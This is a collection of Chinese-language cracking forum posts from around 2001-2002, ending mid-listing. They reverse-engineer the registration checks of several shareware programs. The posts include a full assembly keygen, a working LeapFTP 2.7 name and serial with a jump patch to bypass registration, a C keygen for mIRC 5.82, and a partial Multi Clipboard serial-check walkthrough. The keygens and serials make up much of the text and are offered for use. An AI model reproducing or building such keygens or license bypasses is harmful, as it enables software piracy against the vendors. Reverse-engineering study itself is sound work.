0167:004745E9 CALL 0047432C <----这个Call里很多浮点运算,核心部分,下有解释(Main Call)
0167:004745EE MOV ECX,EAX <----ecx<==eax=17,这个数就是我们想要的了
0167:004745F0 MOV EAX,00474724 <----eax指向字符串"abcdefghijklmnopqrstuvwxyz"
0167:004745F5 MOV AL,[EAX+ECX-01] <----查表得eax="w",注意这里的17是16进制的,十进制是23,其实就是指26个英文字母的第23位

0167:004745F9 MOV [ESI],AL <----保存结果
0167:004745FB CMP BYTE [005A424C],00 <---光标运行到此句时下d esi就可看到查到的字符,逐位把它记下来,我得到的是"wsxrkpoqj"

0167:00474602 JZ 0047460A
0167:00474604 MOV AL,[ESI]
0167:00474606 XOR AL,0C <----这里是不是也很眼熟,查到的字符马上被Xor了
0167:00474608 MOV [ESI],AL
0167:0047460A INC ESI
0167:0047460B INC EDI
0167:0047460C DEC EBX <----ebx是计数器,这里只查了前9位
0167:0047460D JNZ 004745DE

0167:0047460F MOV EBX,03 <----下面是查后3位的
0167:00474614 LEA EDI,[ESP+1B]
0167:00474618 LEA ESI,[ESP+80]
0167:0047461F XOR ECX,ECX
0167:00474621 MOV CL,[EDI]
0167:00474623 MOV EDX,0A <----这个换成A了
0167:00474628 MOV EAX,ECX
0167:0047462A CALL 0047432C
0167:0047462F MOV ECX,EAX
0167:00474631 MOV EAX,00474748
0167:00474636 MOV AL,[EAX+ECX-01]
0167:0047463A MOV [ESI],AL
0167:0047463C CMP BYTE [005A424C],00 <----这里再下d esi,得到"951"
0167:00474643 JZ 0047464B
0167:00474645 MOV AL,[ESI]
0167:00474647 XOR AL,0C
0167:00474649 MOV [ESI],AL
0167:0047464B INC ESI
0167:0047464C INC EDI
0167:0047464D DEC EBX
0167:0047464E JNZ 0047461F
呵!好累,这一大段其实我们得到了一个字符串"wsxrkpoqj951",不过马上被Xor C了,所以得到了:
7B 7F 74 7E 67 7C 63 7D 66 35 39 3D
~~~~~~~~ ````````

0167:00474650 LEA EAX,[ESP+016C]
0167:00474657 PUSH EAX
0167:00474658 MOV ECX,03
0167:0047465D MOV EDX,01
0167:00474662 LEA EAX,[ESP+7A]
0167:00474666 CALL 0040291C
0167:0047466B LEA EDX,[ESP+016C]
0167:00474672 LEA EAX,[ESP+017C]
0167:00474679 CALL 00402CF0
0167:0047467E LEA EAX,[ESP+0198]
0167:00474685 PUSH EAX
0167:00474686 MOV ECX,03
0167:0047468B MOV EDX,0A
0167:00474690 LEA EAX,[ESP+7A]
0167:00474694 CALL 0040291C
0167:00474699 LEA EDX,[ESP+0198]
0167:004746A0 LEA EAX,[ESP+017C]
0167:004746A7 MOV CL,18
0167:004746A9 CALL 00402CC0
0167:004746AE LEA EDX,[ESP+017C]
0167:004746B5 LEA EAX,[ESP+01A8]
0167:004746BC CALL 00402CF0
0167:004746C1 LEA EAX,[ESP+0198]
0167:004746C8 PUSH EAX
0167:004746C9 MOV ECX,06
0167:004746CE MOV EDX,04
0167:004746D3 LEA EAX,[ESP+7A]
0167:004746D7 CALL 0040291C
0167:004746DC LEA EDX,[ESP+0198]
0167:004746E3 LEA EAX,[ESP+01A8]
0167:004746EA MOV CL,24
0167:004746EC CALL 00402CC0
0167:004746F1 LEA EDX,[ESP+01A8]
上面这段将刚才那组数据移来移去,过了这一条,d edx看看,它将上面数据的位置换了换,变成:
7B 7F 74 35 39 3D 7E 67 7C 63 7D 66
~~~~~~~~ ````````
也就是说我们查表最后得到的一个字符串是"wsx951rkpoqj",

==Step 6========================================
这里已经算是最后一步了,是不是发现下面的运算和最上面注册码的变形是一样的,其实对于我们来说这里已经不重要了,因为真正的注册码已经出现了只不过如果第一次调试时找不到这一步就根本找不到重点.因为程序在Step 5里得到的字符串"wsxrkpoqj951"每一位一出现就被Xor C,所以看不到明码,而且程序还将它的中间6位移到字串的最后,再经过下面运算的结果和我假注册码的变形相比较,所以马上可以断定"wsx951rkpoqj"就是我的真正注册码.

0167:00474407 MOV AL,[ESP+01]
0167:0047440B XOR AL,[ESP+0C]
0167:0047440F MOV [ESP+01],AL
0167:00474413 MOV EDX,0B
0167:00474418 LEA EAX,[ESP+02]
0167:0047441C MOV CL,[EAX]
0167:0047441E XOR CL,[EAX-01]
0167:00474421 MOV [EAX],CL
0167:00474423 INC EAX
0167:00474424 DEC EDX
==Step Over=====================================

下面是查表时核心Call的部分,关于浮点运算,可以查阅看雪的Crack Tutorial,因为我也不是很懂.
==Main Call=====================================
它的过程大概是这样的:
18 33 19 E2 87 5B D9 DD 86 39 8D 75
| | | | | | | | | | | |
D1 D2 D3 D4 D5 D6 D7 D8 D9 D10 D11 D12

D1除以40E00000 ==>ST(0)
求ST(0)的平方根 ==>ST(0)
ST(0)==>ST(1)
ST(0)取整
ST(0)-ST(1) ==>ST(0)
ST(0)乘以1A(or A)==>ST(0)
ST(0)+3F800000 ==>ST(0)
ST(0)取整
如果看不懂,可以看看我写的注册机,我省略了很多无用的步骤,最好用ICE调试一下就能搞懂了

0167:0047432C PUSH EBX
0167:0047432D PUSH ESI
0167:0047432E ADD ESP,BYTE -14
0167:00474331 MOV ESI,EDX
0167:00474333 MOV EBX,EAX
0167:00474335 CALL 0040BBC8 <----这个Call不用理它,下面还有一个
写注册机时写到此我就被卡住了,因为此Call里调用了GetLocalTime的函数,还进行了一大堆的运算,可能是为了生成下面内存中的一些数据的,刚开始我还以为注册码会和时间相关,但搞清楚后基本确定生成注册码不用调用这个Call.

0167:0047433A FSTP QWORD [ESP+08]
0167:0047433E WAIT
0167:0047433F MOV [ESP+10],EBX <----这里开始了,ebx=18,查第一位
0167:00474343 FILD DWORD [ESP+10] <----注意在ICE中看到的ST(i)中的数是10进制的,如此时ST(0)=24
0167:00474347 FSTP QWORD [ESP]
0167:0047434A WAIT
0167:0047434B FLD QWORD [ESP]
0167:0047434E FDIV DWORD [004743B8] <----[004743B8]里的值是40E00000,这个数是固定的,下面的[004743BC]都一样,程序还没进入这个Call时就已经是这个数了,所以做注册机时这两个地址的数据就很重要了

0167:00474354 FSQRT
0167:00474356 FSTP QWORD [ESP]
0167:00474359 WAIT
0167:0047435A FLD QWORD [ESP]
0167:0047435D CALL 00402C38 <----Call (1)
0167:00474362 MOV [ESP+10],ESI <----esi=1A,这个记得吧,如果是查后3位的话esi=A
0167:00474366 FILD DWORD [ESP+10]
0167:0047436A FMULP ST1 <----因为用Trw的原故,这里显示不完整,写注册机时这里应写成fmulp st(1),st(0)
0167:0047436C FADD DWORD [004743BC] <----[004743BC]=3F800000
0167:00474372 FSTP QWORD [ESP]
0167:00474375 WAIT
0167:00474376 FLD QWORD [ESP]
0167:00474379 CALL 00402C10 <----Call (2)
0167:0047437E FSTP QWORD [ESP]
0167:00474381 WAIT
0167:00474382 FLD QWORD [ESP]
0167:00474385 CALL 00402C54 <----Call (3)
0167:0047438A MOV EBX,EAX <----到这里eax已经是我们想要的17啦,暂放到ebx中
0167:0047438C CALL 0040BBC8 <----Forgot it!
0167:00474391 FSUBR QWORD [ESP+08]
0167:00474395 FSTP QWORD [ESP+08]
0167:00474399 WAIT
0167:0047439A FLD TWORD [004743C0]
0167:004743A0 FCOMP QWORD [ESP+08]
0167:004743A4 FNSTSW AX
0167:004743A6 SAHF
0167:004743A7 JNC 004743AE
0167:004743A9 MOV EBX,01
0167:004743AE MOV EAX,EBX <----把17放回eax中,出了这个Call就用它来查表了
0167:004743B0 ADD ESP,BYTE +14
0167:004743B3 POP ESI
0167:004743B4 POP EBX
0167:004743B5 RET
==Call (1)========================================
0167:00402C38 FLD ST0
0167:00402C3A SUB ESP,BYTE +04
0167:00402C3D FSTCW [ESP]
0167:00402C41 WAIT
0167:00402C42 FLDCW [005A2028] <----[005A2028]=1F32
说明一下FSTCW和FLDCW命令,因为我在查这两个命令的资料时找不到详细的说明,搞不懂它们是怎么用的,后来经过我的实验才搞懂的.FSTCW [ESP]是将现在的浮点标志寄存器状态写入[ESP]中,浮点标志寄存器是用来控制浮点运算的舍入、精度之类的,它的状态会影响浮点运算结果的精确度,我这里写入的是1272,二进制是1001001110010,分别对应寄存器的各字段.而FLDCW则相反,它是将内存中的一个字写入到寄存器中,这样就可以按自己的要求来控制浮点运算的结果.这是我个人理解,请指正.

0167:00402C48 FRNDINT
0167:00402C4A WAIT
0167:00402C4B FLDCW [ESP]
0167:00402C4E ADD ESP,BYTE +04
0167:00402C51 FSUBP ST1 <-----这个应为fsubp st(1),st(0)
0167:00402C53 RET
==Call (2)========================================
0167:00402C10 SUB ESP,BYTE +04
0167:00402C13 FSTCW [ESP]
0167:00402C17 WAIT
0167:00402C18 FLDCW [005A2028]
0167:00402C1E FRNDINT
0167:00402C20 WAIT
0167:00402C21 FLDCW [ESP]
0167:00402C24 ADD ESP,BYTE +04
0167:00402C27 RET
==Call (3)=========================================
0167:00402C54 SUB ESP,BYTE +08
0167:00402C57 FISTP QWORD [ESP]
0167:00402C5A WAIT
0167:00402C5B POP EAX
0167:00402C5C POP EDX
0167:00402C5D RET
==Call End=========================================

总结:累死了!已经太罗嗦了,把每个步骤前的说明加起来就是总结了.我怕论坛贴不完!呵呵~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
下面附上注册机,汇编写的,C语言我已经忘记了,我不知道这个注册机能否用C语言写出来,主要是指浮点运算那部分.当然我写得不好,基本上我是将机器码照搬上来的,我想应该可以写得更加简洁些.将下面的代码保存为*.rek文件,用注册机编写器(v1.51以上调试通过)打开,编译后就可以了,支持中文注册名.另外注册机编写器在编译的时候大家最好编译两次,如果我们改了源代码,只编译一次的话生成的文件和没改的一样,就算你把旧文件删掉也是如此,此问题我已向作者提出,希望他能改正.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.data
szHomePage db "http://www.365hz.net",0
szEmail db "mailto:ljyljx@mail.china.com",0
szErrMess db "注册名不能大于34位！",0 ;/经过调试注册名大于34位后结果不正确
DATA1 db "Kalua2000Kal",0 ;/后缀字串
DATA2 db 50 dup(0)
DATA3 db 13 dup(0)
DATA4 db 0,0,0e0h,40h,0,0,80h,3fh ;/[004743B8]和[004743BC]里的数据
DATA5 db "abcdefghijklmnopqrstuvwxyz",0 ;/两个表
DATA6 db "1234567890",0
DATA7 db 13 dup(0)
FDATA db 72h,12h,32h,1fh ;/浮点寄存器的状态
.code
mov esi,eax ;/先将一些重要的数据保存
invoke lstrlen,eax
cmp eax,34
jg ERR
mov edx,eax
mov ebx,eax
mov eax,esi
xor edi,edi

PRO1:
xor ecx,ecx
mov cl,[eax] ;/Step 1
add edi,ecx
inc eax
dec edx
jnz PRO1
mov eax,edi
mov ecx,000000FFh
cdq
idiv ecx
push edx ;/保存结果
mov eax,esi
mov ecx,ebx
lea edi,DATA2 ;/Step 2
rep movsb
lea esi,DATA1
mov ecx,12
rep movsb

mov ebx,1 ;/Step 3
lea eax,DATA2
lea edi,DATA3
mov esi,eax
PRO2:
mov ecx,ebx
add ecx,ecx
dec ecx
mov edx,12
sub edx,ebx
mov dl,byte ptr [esi+edx]
mov [edi],dl
mov dl,[eax]
mov [edi+1],dl
inc ebx
inc eax
add edi,2
cmp ebx,7
jnz PRO2

mov ebx,1 ;/Step 4
lea esi,DATA3
lea ebp,DATA1
pop edi ;/Step 1中的结果
PRO3:
xor ecx,ecx
mov cl,[esi]
xor eax,eax
mov al,byte ptr [ebp]
add ecx,eax
cmp ebx,12
jnl PRO4
xor eax,eax
mov al,byte ptr [esi+1]
add edi,eax
PRO4:
add ecx,edi
mov eax,ecx
mov ecx,000000FFh
cdq
idiv ecx
mov ecx,edx
cmp ecx,1
jnl PRO5
add ecx,000000FFh
PRO5:
mov [esi],cl
inc ebx
inc ebp
inc esi
cmp ebx,13
jnz PRO3

mov ebx,1
lea eax,DATA3
lea edi,DATA2
mov esi,eax
PRO6:
mov ecx,ebx
add ecx,ecx
dec ecx
mov edx,12
sub edx,ebx
mov dl,byte ptr [esi+edx]
mov [edi],dl
mov dl,[eax]
mov [edi+1],dl
inc ebx
inc eax
add edi,2
cmp ebx,7
jnz PRO6 ;/这里完成Step 4得到我们要的查表数据放在DATA2中

mov ebx,9 ;/PRO7和PRO8分别查表
lea edi,DATA2
lea esi,DATA3
PRO7:
xor ecx,ecx
mov cl,byte ptr [edi]
mov edx,0000001Ah
call Sam
lea eax,DATA5
mov al,byte ptr [eax+ecx-1]
mov [esi],byte ptr al
inc esi
inc edi
dec ebx
jnz PRO7

mov ebx,3
lea edi,DATA2+9
lea esi,DATA3+9
PRO8:
xor ecx,ecx
mov cl,byte ptr [edi]
mov edx,0000000Ah
call Sam
lea eax,DATA6
mov al,byte ptr [eax+ecx-1]
mov [esi],byte ptr al
inc esi
inc edi
dec ebx
jnz PRO8

lea esi,DATA3 ;/将查表后的注册码摆好位置
lea edi,DATA7
mov ecx,3
rep movsb
lea esi,DATA3+9
mov ecx,3
rep movsb
lea esi,DATA3+3
mov ecx,6
rep movsb
lea eax,DATA7
jmp PRO9

Sam:
push ebp ;/这里保存现场,为了这个子程序,我的机死了n次,主要是不懂保存
mov ebp,esp ;/现场,下面三个push如果去掉也会出错,调试一下就知
push ebx
push edi
push esi
push 0 ;/这里push了两个0因为下面要用到qword
push 0
mov [esp],ecx
lea eax,FDATA
fldcw [eax] ;/因为在破解时程序在运行浮点运算前的浮点寄存器状态是1272H,
fild dword ptr [esp] ;/而我试过注册机运行时的状态不同,为了保证注册机的准确性,所
fstp qword ptr [esp] ;/以尽量让注册机与原程序的寄存器状态保持一致
fld qword ptr [esp]
lea eax,DATA4
fdiv dword ptr [eax]
fsqrt
fstp qword ptr [esp]
fld qword ptr [esp]
fld st
lea eax,FDATA
fldcw [eax+2]
frndint
fldcw [eax]
fsubp st(1),st(0) ;/这个开始我写成fsubp st1,st 因为我在Trw中U出来的是
mov [esp],edx ;/FSUBP ST1,害我查了很久书
fild dword ptr [esp]
fmulp st(1),st(0)
lea eax,DATA4
fadd dword ptr [eax+4]
fstp qword ptr [esp]
fld qword ptr [esp]
lea eax,FDATA
fldcw [eax+2]
frndint
fldcw [eax]
fstp qword ptr [esp]
fld qword ptr [esp]
fistp qword ptr [esp]
pop ecx
pop ebx
ret 0 ;/这里返回一定要加0,不然就~~~~~

ERR:
lea eax,szErrMess
PRO9:

_/_/_/
_/ _/_/_/ _/_/_/ _/_/
_/_/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/
_/_/_/ _/_/_/ _/ _/ _/

Sam.com
18:34 2002-2-27


LeapFTP 2.7

 标 题:破解LeapFTP 2.7刚完成的,写得不好高手别看^_^ (7千字)
发信人:VitaminC
时 间:2002-3-16 21:47:57
详细信息:
破解LeapFTP 2.7:
本来今天是要CRACK'百里挑一'的,可是我追了好久,没发现什么头绪.又刚好我的网页的上传要用到FTP于是好装了LeapFTP 2.7(但最终用不了:-(我这是要经过学校的代理服务器的,我没设置好,出许设置好了也不能用,学校的'好网'),于是在没能破'百里挑一'就拿它来开刀了.
还是这样在注册对话框里填上:
NAME:Vitamin C
NUM.:1234ABCD
在SICE里用BPX HMEMCPY设断,中断后按十几次F12后来到程序核心(用BORLAND DELPHI也的程序都这样的):
...
:00487183 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:00487189 E83AC8FAFF call 004339C8/*这个CALL取得NUM.*/
:0048718E 8B45F8 mov eax, dword ptr [ebp-08]
:00487191 8D55FC lea edx, dword ptr [ebp-04]
:00487194 E81719F8FF call 00408AB0
:00487199 80BBF402000000 cmp byte ptr [ebx+000002F4], 00
:004871A0 740E je 004871B0
:004871A2 8B55FC mov edx, dword ptr [ebp-04]
:004871A5 8BC3 mov eax, ebx
:004871A7 E888030000 call 00487534
:004871AC 84C0 test al, al
:004871AE 7526 jne 004871D6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004871A0(C)
|
:004871B0 8B83F0020000 mov eax, dword ptr [ebx+000002F0]
:004871B6 50 push eax
:004871B7 8D55F4 lea edx, dword ptr [ebp-0C]
:004871BA 8B83D0020000 mov eax, dword ptr [ebx+000002D0]
:004871C0 E803C8FAFF call 004339C8/*取得NAME*/
:004871C5 8B55F4 mov edx, dword ptr [ebp-0C]/*传入了NAME->EDX*/
:004871C8 8B4DFC mov ecx, dword ptr [ebp-04]/*传入了NUM.->ECX/*
:004871CB 8BC3 mov eax, ebx
:004871CD E8BA010000 call 0048738C/*关键的CALL*/
:004871D2 84C0 test al, al/*AL要不等于0*/
:004871D4 7462 je 00487238/*要不完了!*/
...
在这段代码从:004871C5--:004871D4这几行,一看便会想到这是典型的NUM.处理格式!当然在关键的CALL(:004871CD)前并没有传入正确的NUM.但要是你不理这几行试试你会发现很就GAME OVER了...要你用RFL Z将:004871D4的跳转方向改变程序便会感谢你的注册^_^
好了,不用多说,用F8跟进此CALL:
...
:00487443 8B55F8 mov edx, dword ptr [ebp-08]/*传入输入的NUM.*/
:00487446 B808754800 mov eax, 00487508/*传入了字符'-'*/
:0048744B E8A0CDF7FF call 004041F0/*这个CALL用于计算输入的NUM.里'-'以前的
:00487450 8BC8 mov ecx, eax 字符的个数*/
:00487452 49 dec ecx
:00487453 BA01000000 mov edx, 00000001
:00487458 8B45F8 mov eax, dword ptr [ebp-08]
:0048745B E8ACCCF7FF call 0040410C
:00487460 8B45E0 mov eax, dword ptr [ebp-20]/*这里传入字符'-'前的字符
:00487463 8B5508 mov edx, dword ptr [ebp+08] 和'214065'*/
:00487466 E8A9CBF7FF call 00404014/*此CALL关键,那两个字符串就在这个CALL里比较*/
:0048746B 7548 jne 004874B5/*若不等则跳*/
:0048746D 8D45DC lea eax, dword ptr [ebp-24]
:00487470 50 push eax
:00487471 8B55F8 mov edx, dword ptr [ebp-08]
:00487474 B808754800 mov eax, 00487508
:00487479 E872CDF7FF call 004041F0
:0048747E 50 push eax
:0048747F 8B45F8 mov eax, dword ptr [ebp-08]
:00487482 E87DCAF7FF call 00403F04
:00487487 5A pop edx
:00487488 2BC2 sub eax, edx
:0048748A 50 push eax
:0048748B 8B55F8 mov edx, dword ptr [ebp-08]
:0048748E B808754800 mov eax, 00487508
:00487493 E858CDF7FF call 004041F0
:00487498 8BD0 mov edx, eax
:0048749A 42 inc edx
:0048749B 8B45F8 mov eax, dword ptr [ebp-08]
:0048749E 59 pop ecx
:0048749F E868CCF7FF call 0040410C
:004874A4 8B45DC mov eax, dword ptr [ebp-24]/*传入NUM.在'-'后的字符和
:004874A7 8B55EC mov edx, dword ptr [ebp-14] 3337009290(正确的NUM.)*/
:004874AA E865CBF7FF call 00404014/*在这里边进行最后的比较.*/
:004874AF 7504 jne 004874B5/*不相等则跳*/
:004874B1 B301 mov bl, 01
:004874B3 EB02 jmp 004874B7

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0048746B(C), :004874AF(C)
|
:004874B5 33DB xor ebx, ebx/*笨冬瓜兄说的,这是我们CRACKER的大敌啊!*/

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004874B3(U)
|
:004874B7 33C0 xor eax, eax
:004874B9 5A pop edx
:004874BA 59 pop ecx
:004874BB 59 pop ecx
:004874BC 648910 mov dword ptr fs:[eax], edx
:004874BF 68F6744800 push 004874F6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004874F4(U)
|
:004874C4 8D45DC lea eax, dword ptr [ebp-24]
:004874C7 BA02000000 mov edx, 00000002
:004874CC E8D7C7F7FF call 00403CA8
:004874D1 8D45EC lea eax, dword ptr [ebp-14]
:004874D4 E8ABC7F7FF call 00403C84
:004874D9 8D45F8 lea eax, dword ptr [ebp-08]
:004874DC BA02000000 mov edx, 00000002
:004874E1 E8C2C7F7FF call 00403CA8
:004874E6 8D4508 lea eax, dword ptr [ebp+08]
:004874E9 E896C7F7FF call 00403C84
:004874EE C3 ret/*这个RET是返回到:004874F6的.(就在下三句)*/

:004874EF E928C2F7FF jmp 0040371C
:004874F4 EBCE jmp 004874C4
:004874F6 8BC3 mov eax, ebx/*把EBX传入EAX,要能使EBX=1那我们就成功了!*/
:004874F8 5B pop ebx
:004874F9 8BE5 mov esp, ebp
:004874FB 5D pop ebp
:004874FC C20400 ret 0004/*在这返回,跳出整个关键CALL,且传出AL的值*/
...
在这一整段的代码前还有一大段关键的代码,是用来计算正确的NUM.的,只是那里用到了我最怕的浮点运算:-(我就放弃去分析它了...小菜菜就是菜啊!还有在这一大段代码里从:0048746D->:0048749E是用了两种方式来检验输入的NUM.和正确的NUM.之间里以'-'为界字符位数是否相同的.在上面的动态分析里你会发现
我们在开始输入的1234ABCD在:0048744B里的那个CALL后就会计算出来的东东是个0.正因为这样我就走弯路了,好久没能看明白这段代码.其实,在正确的注册码:214065-3337009290里,214065是固定的,只有3337009290是计算得来的.唉!这里并没有明确的比较'-'这个字符,但程序确实实在在的用间接的方式检验了它是否存在!
...
:00404014 53 push ebx
:00404015 56 push esi
:00404016 57 push edi
:00404017 89C6 mov esi, eax
:00404019 89D7 mov edi, edx
:0040401B 39D0 cmp eax, edx
:0040401D 0F848F000000 je 004040B2
:00404023 85F6 test esi, esi
...
这段是在:00487466和:004874AA里的两个CALL里的关键代码.那个CMP,那个正确的NUM....

好了到这,对于我也就把它完成了.(没找出算法...以后吧!等我成了大虾再说,呵呵^-^)

OK!

NAME:Vitamin C
NUM.:214065-3337009290

Vitamin C[抗坏血酸].2002.3.16.ZJ.GD.CHI.


MIrc v5.82

 标 题:比较早的一个keygen练习， 参考hambo教程。 (1千字)
发信人:arbiter
时 间:2001-10-19 3:17:49
详细信息:
 /* keygen for MIrc v5.82 by arbiter */
/* long long ago... do it as a standard keygen practice */
/* level : easy! */
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>

typedef unsigned long DWORD;
typedef unsigned char BYTE;

const BYTE magicMul[] = { 0xb, 0x6, 0x11, 0xc, 0xc, 0xe, 0x5, 0xc,
0x10, 0xa, 0xb,
  0x6, 0xe, 0xe, 0x4, 0xb,
0x6, 0xe, 0xe,
  0x4, 0xb, 0x9, 0xc, 0xb,
0xa, 0x8, 0xa,
  0xa, 0x10, 0x8, 0x4, 0x6,
0xa, 0xc, 0x10,
  0x8, 0xa, 0x4, 0x10 };

void GenRegCode( char* buf, DWORD part_a, DWORD part_b );
void main( void )
{
int i, j = 0, len;
DWORD tmp = 0;
DWORD nZ1 = 0;
DWORD nZ2 = 0;
char userName[30] = { 0 };
char userCode[50] = { 0 };

clrscr();
fprintf( stderr, "Mirc v5.82 key generator by arbiter.\n\n"
  );
fprintf( stderr, "Your userName : " );
gets( userName );
len = strlen( userName );
if( len < 5 )
{
fprintf( stderr, "\nName length must great
  than 5!" );
exit( 0 );
}
/* Gen. Part one */
for( i = 3; i < len; i++, j++ )
{
nZ1 += userName[i] * magicMul[j];
j = ( j > 38 )? 0 : j;
}
j &= 0;
/* Gen. Part two */
for( i = 3; i < len; i++, j++ )
{
tmp = userName[i] * userName[i - 1];
nZ2 += tmp * magicMul[j];
j = ( j > 38 )? 0 : j;
}
GenRegCode( userCode, nZ1, nZ2 );

fprintf( stderr, "You userCode : %s", userCode );

getch();
}

void GenRegCode( char* buf, DWORD part_a, DWORD part_b )
{
char tmpBuf[50] = { 0 };
DWORD temp = 0;
int i = 0;
while( part_a > 0 )
{
temp = part_a % 10;
part_a /= 10;
tmpBuf[i++] = temp + 0x30;
}
sprintf( buf, "%s", strrev( tmpBuf ) );
buf[i++] = 0x2d; /* '-' */
i &= 0;
while( part_b > 0 )
{
temp = part_b % 10;
part_b /= 10;
tmpBuf[i++] = temp + 0x30;
}
strcat( buf, strrev( tmpBuf ) );
}


Multi Clipboard Ver m9.34.01

 标 题:Multi Clipboard Ver m9.34.01 (18千字)
发信人:lancelot[CCG]
时 间:2001-9-30 22:31:56
详细信息:
下载：http://newhua.ruyi.com/down/mcbsx.exe

这个软件注册码的计算部分还挺复杂的,一下子还不能马上看明白,可惜最后采用明码比较,是一大败笔... ...
有兴趣的看一看就知道了
==========================================================================================

:004060B6 E8CC160200 call 00427787<-----------------读取用户名
:004060BB BF08914900 mov edi, 00499108
:004060C0 83C9FF or ecx, FFFFFFFF
:004060C3 33C0 xor eax, eax
:004060C5 F2 repnz
:004060C6 AE scasb
:004060C7 F7D1 not ecx
:004060C9 49 dec ecx
:004060CA 83F903 cmp ecx, 00000003<------------用户名要大于3位
:004060CD 7356 jnb 00406125

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004060CD(C)
|
:00406125 6A50 push 00000050
:00406127 6858914900 push 00499158

* Possible Reference to Dialog: DialogID_00CE, CONTROL_ID:0483, ""
|
:0040612C 6883040000 push 00000483
:00406131 B930014400 mov ecx, 00440130
:00406136 E84C160200 call 00427787<----------------读取 e-Mail
:0040613B 8B152CA34900 mov edx, dword ptr [0049A32C]
:00406141 BB01000000 mov ebx, 00000001
:00406146 53 push ebx
:00406147 6858914900 push 00499158
:0040614C 52 push edx
:0040614D E8DE5B0000 call 0040BD30
:00406152 83C40C add esp, 0000000C
:00406155 3BC3 cmp eax, ebx
:00406157 743E je 00406197

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00406157(C)
|
:00406197 53 push ebx
:00406198 E8F3220000 call 00408490<----------------将用户名和 e-Mail 写入 .ini 文件
:0040619D 83C404 add esp, 00000004
:004061A0 B908000000 mov ecx, 00000008
:004061A5 33C0 xor eax, eax
:004061A7 BF348F4900 mov edi, 00498F34
:004061AC F3 repz
:004061AD AB stosd
:004061AE 6A20 push 00000020
:004061B0 68348F4900 push 00498F34

* Possible Reference to Dialog: DialogID_00CE, CONTROL_ID:0481, ""
|
:004061B5 6881040000 push 00000481
:004061BA B930014400 mov ecx, 00440130
:004061BF E8C3150200 call 00427787<---------------读取注册码
:004061C4 B940000000 mov ecx, 00000040
:004061C9 33C0 xor eax, eax
:004061CB BFFC014400 mov edi, 004401FC
:004061D0 68FC014400 push 004401FC

* Possible StringData Ref from Data Obj ->"Multi Clipboard"
|
:004061D5 6890B74300 push 0043B790
:004061DA 6808914900 push 00499108
:004061DF F3 repz
:004061E0 AB stosd
:004061E1 E83A1B0000 call 00407D20<----------(1)-----核心计算,跟入
:004061E6 68FC014400 push 004401FC
:004061EB E8B01A0000 call 00407CA0
:004061F0 68348F4900 push 00498F34
:004061F5 E8A61A0000 call 00407CA0
:004061FA BFFC014400 mov edi, 004401FC
:004061FF 83C9FF or ecx, FFFFFFFF
:00406202 33C0 xor eax, eax
:00406204 83C414 add esp, 00000014
:00406207 F2 repnz
:00406208 AE scasb
:00406209 F7D1 not ecx
:0040620B 49 dec ecx
:0040620C BFFC014400 mov edi, 004401FC<-----------30353b3b3437
:00406211 BE348F4900 mov esi, 00498F34<-----------输入的注册码
:00406216 33D2 xor edx, edx
:00406218 F3 repz
:00406219 A6 cmpsb<-----------------------比较,相同则注册成功
:0040621A 0F85B2000000 jne 004062D2
================================================================================================
* Referenced by a CALL at Addresses:-------------------------------计算(1)
|:00401E9B , :00405EFD , :004061E1 , :0040C698
|
:00407D20 51 push ecx
:00407D21 53 push ebx
:00407D22 8B54240C mov edx, dword ptr [esp+0C]
:00407D26 55 push ebp
:00407D27 56 push esi
:00407D28 57 push edi
:00407D29 B9000A0000 mov ecx, 00000A00
:00407D2E 33C0 xor eax, eax
:00407D30 BFFC044400 mov edi, 004404FC
:00407D35 33DB xor ebx, ebx
:00407D37 33F6 xor esi, esi
:00407D39 F3 repz
:00407D3A AB stosd
:00407D3B 89742410 mov dword ptr [esp+10], esi
:00407D3F BFFC044400 mov edi, 004404FC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407DDA(C)
|
:00407D44 8A0416 mov al, byte ptr [esi+edx]<----------取用户名的第1位'l'=0x6c

............. 略 ............... <----------去掉用户名中非字母或数字的其他字符

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407DCF(C)
|
:00407DE0 B914000000 mov ecx, 00000014
:00407DE5 33C0 xor eax, eax
:00407DE7 8BFA mov edi, edx
:00407DE9 68FC044400 push 004404FC
:00407DEE F3 repz
:00407DEF AB stosd
:00407DF0 BFFC044400 mov edi, 004404FC
:00407DF5 83C9FF or ecx, FFFFFFFF
:00407DF8 F2 repnz
:00407DF9 AE scasb
:00407DFA F7D1 not ecx<------------------------------用户名的长度0xc
:00407DFC 2BF9 sub edi, ecx
:00407DFE 8BC1 mov eax, ecx
:00407E00 8BF7 mov esi, edi
:00407E02 8BFA mov edi, edx
:00407E04 C1E902 shr ecx, 02
:00407E07 F3 repz
:00407E08 A5 movsd
:00407E09 8BC8 mov ecx, eax
:00407E0B 83E103 and ecx, 00000003
:00407E0E F3 repz
:00407E0F A4 movsb
:00407E10 E898D90000 call 004157AD<-------------------把用户名转换成小写
:00407E15 8D4C2414 lea ecx, dword ptr [esp+14]
:00407E19 8D54241C lea edx, dword ptr [esp+1C]
:00407E1D 51 push ecx
:00407E1E 52 push edx
:00407E1F 895C2424 mov dword ptr [esp+24], ebx
:00407E23 C744241C01000000 mov [esp+1C], 00000001
:00407E2B E8B0010000 call 00407FE0<--------------------(2)------计算，跟入
:00407E30 8B7C2428 mov edi, dword ptr [esp+28]<-----'Multi Clipboard'
:00407E34 83C9FF or ecx, FFFFFFFF
:00407E37 33C0 xor eax, eax
:00407E39 83C40C add esp, 0000000C
:00407E3C F2 repnz
:00407E3D AE scasb
:00407E3E F7D1 not ecx
:00407E40 2BF9 sub edi, ecx
:00407E42 8BF7 mov esi, edi
:00407E44 8BD1 mov edx, ecx
:00407E46 BFFC044400 mov edi, 004404FC<--------------用户名
:00407E4B 83C9FF or ecx, FFFFFFFF
:00407E4E F2 repnz
:00407E4F AE scasb
:00407E50 8BCA mov ecx, edx
:00407E52 4F dec edi
:00407E53 C1E902 shr ecx, 02
